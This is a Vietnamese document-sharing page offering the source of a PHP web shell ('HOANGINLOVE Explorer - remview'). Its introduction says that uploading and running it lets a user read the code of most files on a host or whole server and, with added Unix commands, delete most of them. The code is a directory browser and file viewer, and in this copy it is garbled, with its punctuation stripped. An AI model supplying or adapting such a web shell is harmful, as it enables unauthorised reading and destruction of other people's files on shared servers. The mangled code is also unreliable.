TAILIEUCHUNG - View code bằng file PHP

View code : Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view code toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu hết mí file trong đó. array( "function" = "viewGIF", "icon" = "icons/" ), "jpg" = array( | View code Copy nội dung sau thành 1 file .php. Up lên server chạy file đó bạn có thể xem code của hầu hết các file trong host chịu khó tìm hiểu 1 chút thì có thể view code toàn server hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu hết mí file trong đó. php default_directory dirname PATH_TRANSLATED show_icons 0 define REMY_EXPLORER_VERSION define BACKGROUND_COLOR 000000 define FONT_COLOR ffffff define TABLE_BORDER_COLOR ffffff define TABLE_BACKGROUND_COLOR 000000 define TABLE_FONT_COLOR ffffff define COLOR_PRIVATE ffbb99 define COLOR_PUBLIC 000000 define TRUE 1 define FALSE 0 if isset dir dir default_directory dir stripslashes dir dir str_replace dir associations array gif array function viewGIF icon icons jpg array function viewJPEG icon icons jpeg array function viewJPEG icon icons wav array function icon icons mp3 array function icon icons if action view html head title HOANGINLOVE Explorer - remview title style type text css -- .body font-family Verdana font-size 13 color echo FONT_COLOR table div tr td font 13 Verdana color echo TABLE_FONT_COLOR a text-decoration none color 00ff00 a hover text-decoration underline color ff0000 -- style head body class body bgcolor echo BACKGROUND_COLOR endif function readDirectory directory global files directories dir files array directories array a 0 b 0 dirHandler opendir directory while file readdir dirHandler if file . file . fullName dir. dir . file if is_dir fullName directories a fullName else files b fullName sort directories sort files function showInfoDirectory directory global PHP_SELF dirs split directory print b Directory for i 1 i sizeof dirs i print a href PHP_SELF dir for a 1 a i a echo dirs a echo dirs i if directory echo print b n print Free space on disk freeSpace diskfreespace directory if freeSpace 1024 1024 1024 printf .2f GBytes freeSpace 1024 1024 1024 else echo int freeSpace 1024 1024 . Mbytes n function showDirectory directory global .

TỪ KHÓA LIÊN QUAN
TAILIEUCHUNG - Chia sẻ tài liệu không giới hạn
Địa chỉ : 444 Hoang Hoa Tham, Hanoi, Viet Nam
Website : tailieuchung.com
Email : tailieuchung20@gmail.com
Tailieuchung.com là thư viện tài liệu trực tuyến, nơi chia sẽ trao đổi hàng triệu tài liệu như luận văn đồ án, sách, giáo trình, đề thi.
Chúng tôi không chịu trách nhiệm liên quan đến các vấn đề bản quyền nội dung tài liệu được thành viên tự nguyện đăng tải lên, nếu phát hiện thấy tài liệu xấu hoặc tài liệu có bản quyền xin hãy email cho chúng tôi.
Đã phát hiện trình chặn quảng cáo AdBlock
Trang web này phụ thuộc vào doanh thu từ số lần hiển thị quảng cáo để tồn tại. Vui lòng tắt trình chặn quảng cáo của bạn hoặc tạm dừng tính năng chặn quảng cáo cho trang web này.